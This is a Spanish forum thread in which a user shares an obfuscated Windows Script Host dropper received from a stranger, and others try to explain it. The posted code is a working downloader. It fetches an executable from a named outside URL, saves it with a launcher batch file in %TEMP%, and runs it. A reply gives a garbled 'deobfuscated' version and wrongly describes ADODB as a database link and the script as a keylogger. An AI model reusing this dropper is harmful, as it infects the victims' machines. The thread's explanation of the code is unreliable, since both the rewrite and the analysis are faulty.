Hoy he recibido este código de una persona que no conozco.
var place0 = false;
var DENMARK0 = "";
var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* u */
@if (@_win32 || @_win64)/* u */
//
CONNECTION /* u */ = "W"+"S"+"c"+"ript";
place0 /* u */= true;/* u */
DENMARK0/* u */ = /* u */"MLH";/* u */
fromPath =/* u */ "R" + "esponseB"/* u */ + "ydo".split('').reverse().join('');
Turkey = /* u */(/* u */"noitisop").split(''/* u */).reverse(/* u */).join('');
devel0 /* u *//* u */ =/* u */ "eliFoTevaS".split(''/* u */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//v"+"il"+"alu"+"sa."+"co"+"m/0"+"98r"+"44"+"fg"+"45"+"g4"+"5";
Backspace0 = "G\x45"+"T";
/* u */ @end/* u */
@*//* u */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}
var stepy/* u */ = /* u */this[/* u */CONNECTION /* u *//* u */]/* u */;
var VALIGN1 = function VALIGN() {return stepy[VALIGN0](("fdasfadsfaszxvc", CONNECTION /* u */)+".Shell");}(), aaa0 = 11;
var accinp0 /* u */ = 1 * ((-5600 + 5602) - 0);
var catchKeyCode = accinp0 /* u */ - (2 + 0) * 1;
function Scott(requires0){VALIGN1[("@sdf3asdf ", "adfs3.", "R")+ "u" + ("x", "n")](requires0, catchKeyCode, catchKeyCode);};
function devel(){return VALIGN0;};
{
var stepy0 = "M" + "SX"+"ML2."+"X"+DENMARK0+"T"+"TP";
var accinp = "";
accinp = "o"+"pen";
function arrCurrentTag(catchKeyCode0) {catchKeyCode0[devel0](VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e", (4714 - 4712) * 1); return 0;};
if (true){
Scott1 = stepy0;
arrCurrentTag1 = stepy[VALIGN0](Scott1);
var place /* u */ = 3-2;
while (place /* u */) {
for (;place /* u */;){
try {
if (place /* u */ == 1)
{
arrCurrentTag1[accinp](Backspace0, Backspace, (true, false));
arrCurrentTag1[DENMARK1]();
arrCurrentTag0 = "S"+"l"+"eep";
place /* u */ = 5316 - 5314;
}
stepy[arrCurrentTag0](120);
if (arrCurrentTag1["r"+"eadystate"] < 4) continue;
place /* u */ = catchKeyCode;
function DENMARK(Currency) {var Scott0 = (123, Currency); return Scott0;};
aaa = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e";
CONNECTION0 = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "suc11.05.2016kit.bat";
Turkey0 = "start "+aaa+"\r\nexit"
Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 2;
requires = "w"+"r"+"i"+"t"+"e";
Scott1["Charset"] = "windows-1251";
Scott1[requires+"Text"](Turkey0);
devel1[Turkey] = 0;
Scott1[devel0](CONNECTION0, -2025 + 2027);
devel1["close"]();
Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 2;
Scott1["Charset"] = "windows-1251";
Scott1[requires+"Text"]("M");
devel1[Turkey] = 0;
arrCurrentTag(Scott1);
devel1["close"]();
Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
Scott1[accinp]();
Scott1["t"+"y"+"pe"] = 1;
Scott1[requires](arrCurrentTag1[fromPath]);
devel1[Turkey] = -3320 + 3321;
arrCurrentTag(Scott1);
devel1["close"]();
if (1 && place0) Scott(CONNECTION0);
} catch(fromPath0){};};
};
}
}
Cabe destacar que después de declarar :
var place0 = false;
var DENMARK0 = "";
Abajo hay una linea de ////////////////////////////////////////////////// larguísima que lo tuve que sacar porque se trababa todo
Creo que es un keylogger, o algo que envía datos a la siguiente url: vilalusa.com/098r44fg45g45
Saludos.
HOLA!!!
...desofuscando...
GRACIAS POR LEER!!!
no hay duda, nada de parecido, es un keylogger..
tambien tiene codigo de shell pero para erroneo..
HOLA!!!
Bueno estuve desofuscando un poco esto...
todo el codigo hace mas o menos lo que dice el proximo codigo.
En la desofuscacion se perdieron datos pero nada importante.
Realmente el que lo creo esta un poco mal de la cabeza Jajajaj creo que con suerte funcionara en Iexplore < 8
El funcionamiento esta interesante, Descarga 2 archivos un exe y un bat (el exe debe usar el bat por que este script no lo ejecuta)
El exe funciona de keylogger offline mientras que el script solicita la informacion al exe por medio de una coneccion ADODB
Luego el script envia el archivo a la web (me parece que a traves de un ResponseBody que anda sando vueltas por ahi.
Saludos
Sin mas el Script:
try {
// se conecta con la web y descarga el exe
WScript.CreateObject(this.["WScript"])["open"]("G\x45T", "http://vilalusa.com/098r44fg45g45", (true, false));
WScript.CreateObject(this.["WScript"])["send"]();
//guarda el exe
SaveToFile("%TEMP%" + "QDdd60eYD.exe")0;
//si la conexion no dio error continua sino sale del try
if (WScript.CreateObject(this.["WScript"])["readystate"] < 4) continue;
//guarda el bat que descargo por que no dio error la conexion
SaveToFile(WScript.Shell["ExpandEnvironmentStrings"]("%TEMP%/") + "suc11.05.2016kit.bat");
//ejecuta el exe y sale de la ventana de DOS
WScriptShell( "start "+"%TEMP%" + "QDdd60eYD.exe"+"\r\nexit")
//Se conecta a una base de datos (supongo que el exe es un keylogger miniatura sin posibilidades de enviar informacion al exterior por lo que usa este script para comunicar)
this["WScript"]["CreateObject"]("ADODB"+".Stream");
this["WScript"]["open"]();
this["WScript"]["type"] = 2;
this["WScript"]["write"]();
this["WScript"]["Charset"] = "windows-1251";
this["WScript"][requires+"Text"]("position");
//ejecuta la peticion a la BD
this["WScript"]["runx"] = 0;
//Guarda el resultado
this["WScript"]["SaveToFile"]("WScript.runx");
//cierra la connexion
this["WScript"]["close"]();
//la parte del envio de datos la tengo perdida, se me borro
} catch("ResponseBody"0){};};
GRACIAS POR LEER!!!
Nooo!, jaja buenisimo! muchas gracias 79137913 y a los otros por haber contestado ahora me quedaré leyendo más el código que pusiste
Saludos!